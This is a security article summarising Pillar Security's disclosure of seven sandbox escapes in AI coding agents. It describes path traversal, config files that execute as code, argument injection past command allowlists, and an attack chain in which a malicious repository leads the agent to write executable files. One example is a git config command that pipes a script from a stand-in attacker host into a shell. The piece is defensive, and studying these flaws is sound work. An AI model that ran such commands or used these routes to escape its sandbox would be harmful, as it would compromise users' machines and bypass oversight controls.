mech.app
Security

Seven Sandbox Escapes in One Week: What Breaking Out of Coding Agents Teaches About Container Security

Pillar Security disclosed seven vulnerabilities across Cursor, Windsurf, Cline, and Roo Code. Here's what the escape patterns reveal about agent sandbox...

Source: pillar.security
Seven Sandbox Escapes in One Week: What Breaking Out of Coding Agents Teaches About Container Security

Pillar Security just published coordinated disclosure of seven sandbox escape vulnerabilities across four major coding agent platforms: Cursor, Windsurf, Cline, and Roo Code. The research took months, but the vulnerabilities share a common pattern. The agents did not break the sandbox directly. They wrote files, configs, or commands that trusted components outside the sandbox later executed.

This is not a story about Docker CVEs or kernel exploits. It is about the mismatch between what coding agents need to do (edit files, run shell commands, scan directories) and what sandboxes can realistically contain when the agent’s legitimate work product crosses the boundary.

The Threat Model Shift

Traditional sandboxes assume the untrusted code is the payload. You run it in a container, restrict syscalls, drop capabilities, and mount filesystems read-only. Coding agents invert this model. The agent itself runs in a sandbox, but its output (code, configs, scripts) is trusted by the host environment.

The escape vectors Pillar found cluster into four categories:

  • Denylist sandboxes that cannot keep pace with OS surface area
  • Workspace configurations treated as data but executed as code
  • Command allowlists that trust command names instead of argument chains
  • File path traversal where the agent writes outside the workspace and the host later loads it

In every case, the sandbox boundary held. The escape happened when a trusted process on the host read, executed, or imported something the agent wrote.

Concrete Escape Patterns

Path Traversal via Workspace Roots

Several agents let you configure a workspace root directory. The agent can write files anywhere under that root. If the root is /home/user/project, the agent should not touch /home/user/.bashrc.

But workspace root validation often happens in the orchestration layer, not the filesystem layer. An agent that writes ../../../.bashrc or ~/.config/nvim/init.lua can place executable code outside the workspace. The sandbox does not block this because the write happens through a legitimate file API. The escape happens later when the user opens a new shell or editor.

Config Files as Code Execution

Coding agents often generate .vscode/settings.json, .cursorrules, or .editorconfig files. These look like configuration, but many editors treat them as executable:

  • VSCode settings can specify shell paths and task runners
  • Editor configs can define file watchers that trigger on save
  • Linter configs can point to custom rule files that import arbitrary modules

The agent writes a config file inside the workspace. The editor loads it. The config references a script the agent also wrote. The script runs with the user’s full privileges.

Command Allowlists with Argument Injection

Some sandboxes allow specific commands like git, npm, or docker but block others. The allowlist checks the command name, not the full invocation.

An agent can run:

git config core.editor "vim -c '!curl attacker.com/exfil.sh | sh'"

The sandbox sees git and allows it. The next time the user runs git commit, the editor field executes a shell payload.

Environment Variable Leakage

Agents often need access to environment variables to configure tools (API keys, paths, feature flags). If the sandbox passes through $HOME, $PATH, or $XDG_CONFIG_HOME, the agent can infer filesystem structure and write to predictable locations.

One disclosed vulnerability involved an agent reading $DOCKER_HOST to determine if Docker was available, then writing a malicious docker-compose.yml that the host later executed during a build step.

Why Containers Are Not Enough

Docker and Podman provide process isolation, but coding agents need filesystem and shell access to do their job. The typical deployment looks like this:

┌─────────────────────────────────────┐
│ Host (user's machine)               │
│                                     │
│  ┌──────────────────────────────┐  │
│  │ Container (agent runtime)    │  │
│  │                              │  │
│  │  • LLM orchestration         │  │
│  │  • Tool call execution       │  │
│  │  • File write API            │  │
│  │                              │  │
│  └──────────────────────────────┘  │
│           │                         │
│           │ bind mount              │
│           ▼                         │
│  ┌──────────────────────────────┐  │
│  │ /workspace (shared volume)   │  │
│  └──────────────────────────────┘  │
│           │                         │
│           │ editor/shell reads      │
│           ▼                         │
│  ┌──────────────────────────────┐  │
│  │ Trusted host processes       │  │
│  │  • VSCode, Vim, Zsh          │  │
│  │  • Git hooks, npm scripts    │  │
│  └──────────────────────────────┘  │
└─────────────────────────────────────┘

The container isolates the agent process, but the workspace is a shared volume. Anything the agent writes there is visible to the host. If the host treats workspace contents as trusted (because the user put them there), the boundary collapses.

Failure Modes by Component

ComponentFailure ModeWhy It HappensExample Escape
Workspace rootPath traversalValidation in orchestrator, not filesystemWrite to ~/.bashrc via ../
Config filesExecution as codeEditor treats JSON/YAML as executable.vscode/settings.json with shell task
Command allowlistArgument injectionAllowlist checks command name onlygit config core.editor "payload"
Environment varsInformation disclosureAgent infers host paths from $HOME, $PATHWrite to $XDG_CONFIG_HOME/autostart
File watchersTrigger on writeEditor/linter runs on file changeMalicious .eslintrc.js auto-imports

What Secure Sandboxing Looks Like

The Pillar research suggests a layered model:

  1. Filesystem isolation: The agent writes to a truly isolated volume. A separate process validates and copies files to the workspace. No bind mounts.

  2. Content inspection: Files crossing the boundary are scanned for executable markers (shebang lines, file extensions, executable bits, config keys that reference scripts).

  3. Argument-aware allowlists: If you allow git, parse the full command and block subcommands that accept arbitrary strings (config, filter-branch, hook).

  4. Minimal environment: Pass only the variables the agent needs. Do not expose $HOME, $USER, or $PATH. Use a synthetic environment.

  5. Separate trust domains: The agent runtime and the user’s editor should not share a filesystem. Use a copy-on-write layer or a separate volume that requires explicit promotion.

This is expensive. It adds latency (file copies, validation passes) and complexity (orchestration logic, state synchronization). Most coding agents skip it because the user experience degrades.

The Real Threat Model

These escapes are not theoretical. The attack chain is:

  1. User installs a coding agent (Cursor, Windsurf, Cline, Roo Code)
  2. User opens a project from an untrusted source (cloned repo, downloaded archive)
  3. The project contains a malicious file that triggers the agent (a README with a coding task, a config that references a script)
  4. The agent processes the file and writes output to the workspace
  5. The user’s editor or shell executes the output

The attacker does not need to compromise the agent vendor. They only need to craft a repository that causes the agent to write something executable.

This is supply chain risk, but at the IDE layer instead of the package manager layer.

Observability Gaps

Most coding agents do not log filesystem writes or shell invocations in a way that security teams can audit. The telemetry focuses on LLM calls (token counts, latency, model versions), not on what the agent wrote or where.

If you deploy coding agents in a corporate environment, you need:

  • Filesystem audit logs showing every write the agent makes
  • Command execution logs with full argument chains
  • Diff tracking between agent-generated files and committed files
  • Alerts when files are written outside the workspace root

None of the disclosed vulnerabilities would have been caught by standard container monitoring (cAdvisor, Falco) because the writes were legitimate from the container’s perspective.

Deployment Recommendations

If you are running coding agents in production:

  • Do not bind mount the workspace directly. Use a staging volume and a promotion step.
  • Inspect config files before they reach the editor. Block any that reference external scripts or shell commands.
  • Allowlist commands by full invocation, not just binary name. Parse arguments and reject dangerous subcommands.
  • Run the agent in a separate user namespace with a UID that has no write access to the host user’s home directory.
  • Log everything the agent writes and diff it against the workspace before the user sees it.

If you are building a coding agent:

  • Assume the workspace is hostile. Do not trust files the user did not explicitly create.
  • Validate paths at the filesystem layer, not in application code. Use chroot or pivot_root.
  • Treat all config files as executable. Scan for keys that reference scripts, shell commands, or file paths.
  • Expose a promotion API that requires user confirmation before files leave the sandbox.

Technical Verdict

Use coding agents with sandboxing if:

  • You control the source of every file the agent processes
  • You can afford the latency of file validation and promotion steps
  • You have logging and alerting for filesystem writes outside the workspace
  • Your editor and shell do not auto-execute config files from the workspace

Avoid coding agents in sandboxes if:

  • You work with untrusted repositories or open-source contributions
  • Your editor loads workspace configs automatically (VSCode, IntelliJ, Vim with plugins)
  • You cannot monitor or audit what the agent writes
  • You need the agent to interact with host tools (Docker, Kubernetes, cloud CLIs) that require ambient credentials

The disclosed vulnerabilities are fixable, but the underlying tension is not. Coding agents need enough access to be useful, and that access creates escape opportunities. The solution is not better containers. It is treating the workspace boundary as a security boundary and building validation, logging, and promotion workflows around it.